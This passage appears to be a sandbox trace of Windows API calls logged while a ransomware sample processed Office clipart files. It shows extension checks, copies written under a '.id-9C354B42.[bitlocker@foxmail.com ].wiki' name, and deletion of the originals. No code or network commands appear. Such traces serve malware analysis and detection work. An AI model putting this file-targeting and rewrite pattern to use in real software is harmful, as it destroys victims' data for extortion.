(lpString1=".1cd", lpString2=".WMF") returned -1 [0188.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0188.283] lstrlenW (lpString=".jpg") returned 4 [0188.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.283] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.283] lstrlenW (lpString="EN00397_.WMF") returned 12 [0188.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.283] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=17308) returned 1 [0188.283] CloseHandle (hObject=0x20c) returned 1 [0188.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 0x20 [0188.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.284] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.284] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.284] GetLastError () returned 0x0 [0188.284] ReadFile (in: hFile=0x20c, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x439c, lpOverlapped=0x0) returned 1 [0188.286] WriteFile (in: hFile=0x200, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x43a0, lpOverlapped=0x0) returned 1 [0188.287] ReadFile (in: hFile=0x20c, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.287] WriteFile (in: hFile=0x200, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.287] SetEndOfFile (hFile=0x200) returned 1 [0188.287] CloseHandle (hObject=0x200) returned 1 [0188.287] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.288] SetEndOfFile (hFile=0x20c) returned 1 [0188.288] CloseHandle (hObject=0x20c) returned 1 [0188.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0188.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0188.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0188.289] lstrlenW (lpString=".doc") returned 4 [0188.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.289] lstrlenW (lpString=".docx") returned 5 [0188.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.289] lstrlenW (lpString=".pdf") returned 4 [0188.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.289] lstrlenW (lpString=".xls") returned 4 [0188.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.289] lstrlenW (lpString=".xlsx") returned 5 [0188.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.289] lstrlenW (lpString=".ppt") returned 4 [0188.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0188.289] lstrlenW (lpString=".zip") returned 4 [0188.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.289] lstrlenW (lpString=".rar") returned 4 [0188.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.289] lstrlenW (lpString=".bz2") returned 4 [0188.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.289] lstrlenW (lpString=".7z") returned 3 [0188.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0188.289] lstrlenW (lpString=".dbf") returned 4 [0188.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0188.290] lstrlenW (lpString=".1cd") returned 4 [0188.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0188.290] lstrlenW (lpString=".jpg") returned 4 [0188.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0188.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0188.290] lstrlenW (lpString=".doc") returned 4 [0188.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.290] lstrlenW (lpString=".docx") returned 5 [0188.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.290] lstrlenW (lpString=".pdf") returned 4 [0188.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.290] lstrlenW (lpString=".xls") returned 4 [0188.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.290] lstrlenW (lpString=".xlsx") returned 5 [0188.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.290] lstrlenW (lpString=".ppt") returned 4 [0188.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0188.290] lstrlenW (lpString=".zip") returned 4 [0188.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.290] lstrlenW (lpString=".rar") returned 4 [0188.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.290] lstrlenW (lpString=".bz2") returned 4 [0188.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.290] lstrlenW (lpString=".7z") returned 3 [0188.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0188.290] lstrlenW (lpString=".dbf") returned 4 [0188.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0188.291] lstrlenW (lpString=".1cd") returned 4 [0188.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0188.291] lstrlenW (lpString=".jpg") returned 4 [0188.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.291] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.291] lstrlenW (lpString="EN00902_.WMF") returned 12 [0188.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.291] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=7944) returned 1 [0188.291] CloseHandle (hObject=0x20c) returned 1 [0188.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 0x20 [0188.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.292] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.292] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.292] GetLastError () returned 0x0 [0188.292] ReadFile (in: hFile=0x20c, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1f08, lpOverlapped=0x0) returned 1 [0188.294] WriteFile (in: hFile=0x200, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1f10, lpOverlapped=0x0) returned 1 [0188.295] ReadFile (in: hFile=0x20c, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.295] WriteFile (in: hFile=0x200, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.295] SetEndOfFile (hFile=0x200) returned 1 [0188.295] CloseHandle (hObject=0x200) returned 1 [0188.295] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.295] SetEndOfFile (hFile=0x20c) returned 1 [0188.296] CloseHandle (hObject=0x20c) returned 1 [0188.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0188.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0188.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0188.297] lstrlenW (lpString=".doc") returned 4 [0188.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.297] lstrlenW (lpString=".docx") returned 5 [0188.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.297] lstrlenW (lpString=".pdf") returned 4 [0188.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.297] lstrlenW (lpString=".xls") returned 4 [0188.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.297] lstrlenW (lpString=".xlsx") returned 5 [0188.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.297] lstrlenW (lpString=".ppt") returned 4 [0188.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0188.297] lstrlenW (lpString=".zip") returned 4 [0188.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.297] lstrlenW (lpString=".rar") returned 4 [0188.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.297] lstrlenW (lpString=".bz2") returned 4 [0188.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.297] lstrlenW (lpString=".7z") returned 3 [0188.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0188.297] lstrlenW (lpString=".dbf") returned 4 [0188.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0188.297] lstrlenW (lpString=".1cd") returned 4 [0188.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0188.297] lstrlenW (lpString=".jpg") returned 4 [0188.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0188.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0188.298] lstrlenW (lpString=".doc") returned 4 [0188.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.298] lstrlenW (lpString=".docx") returned 5 [0188.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.298] lstrlenW (lpString=".pdf") returned 4 [0188.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.298] lstrlenW (lpString=".xls") returned 4 [0188.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.298] lstrlenW (lpString=".xlsx") returned 5 [0188.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.298] lstrlenW (lpString=".ppt") returned 4 [0188.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0188.298] lstrlenW (lpString=".zip") returned 4 [0188.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.298] lstrlenW (lpString=".rar") returned 4 [0188.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.298] lstrlenW (lpString=".bz2") returned 4 [0188.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.298] lstrlenW (lpString=".7z") returned 3 [0188.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0188.298] lstrlenW (lpString=".dbf") returned 4 [0188.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0188.298] lstrlenW (lpString=".1cd") returned 4 [0188.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0188.298] lstrlenW (lpString=".jpg") returned 4 [0188.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.299] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.299] lstrlenW (lpString="FD00074_.WMF") returned 12 [0188.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.299] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=17850) returned 1 [0188.299] CloseHandle (hObject=0x20c) returned 1 [0188.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x20 [0188.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.300] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.300] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.300] GetLastError () returned 0x0 [0188.300] ReadFile (in: hFile=0x20c, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x45ba, lpOverlapped=0x0) returned 1 [0188.304] WriteFile (in: hFile=0x200, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0188.305] ReadFile (in: hFile=0x20c, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.305] WriteFile (in: hFile=0x200, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.305] SetEndOfFile (hFile=0x200) returned 1 [0188.305] CloseHandle (hObject=0x200) returned 1 [0188.306] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.306] SetEndOfFile (hFile=0x20c) returned 1 [0188.306] CloseHandle (hObject=0x20c) returned 1 [0188.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0188.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0188.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0188.307] lstrlenW (lpString=".doc") returned 4 [0188.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.307] lstrlenW (lpString=".docx") returned 5 [0188.307] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.307] lstrlenW (lpString=".pdf") returned 4 [0188.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.307] lstrlenW (lpString=".xls") returned 4 [0188.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.307] lstrlenW (lpString=".xlsx") returned 5 [0188.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.307] lstrlenW (lpString=".ppt") returned 4 [0188.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0188.307] lstrlenW (lpString=".zip") returned 4 [0188.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.307] lstrlenW (lpString=".rar") returned 4 [0188.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.307] lstrlenW (lpString=".bz2") returned 4 [0188.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.307] lstrlenW (lpString=".7z") returned 3 [0188.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0188.308] lstrlenW (lpString=".dbf") returned 4 [0188.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0188.308] lstrlenW (lpString=".1cd") returned 4 [0188.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0188.308] lstrlenW (lpString=".jpg") returned 4 [0188.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0188.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0188.308] lstrlenW (lpString=".doc") returned 4 [0188.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.308] lstrlenW (lpString=".docx") returned 5 [0188.308] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.308] lstrlenW (lpString=".pdf") returned 4 [0188.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.308] lstrlenW (lpString=".xls") returned 4 [0188.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.308] lstrlenW (lpString=".xlsx") returned 5 [0188.308] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.308] lstrlenW (lpString=".ppt") returned 4 [0188.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0188.308] lstrlenW (lpString=".zip") returned 4 [0188.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.308] lstrlenW (lpString=".rar") returned 4 [0188.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.308] lstrlenW (lpString=".bz2") returned 4 [0188.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.574] lstrlenW (lpString=".7z") returned 3 [0188.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0188.574] lstrlenW (lpString=".dbf") returned 4 [0188.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0188.581] lstrlenW (lpString=".1cd") returned 4 [0188.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0188.585] lstrlenW (lpString=".jpg") returned 4 [0188.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.585] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.585] lstrlenW (lpString="FD00397_.WMF") returned 12 [0188.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.585] 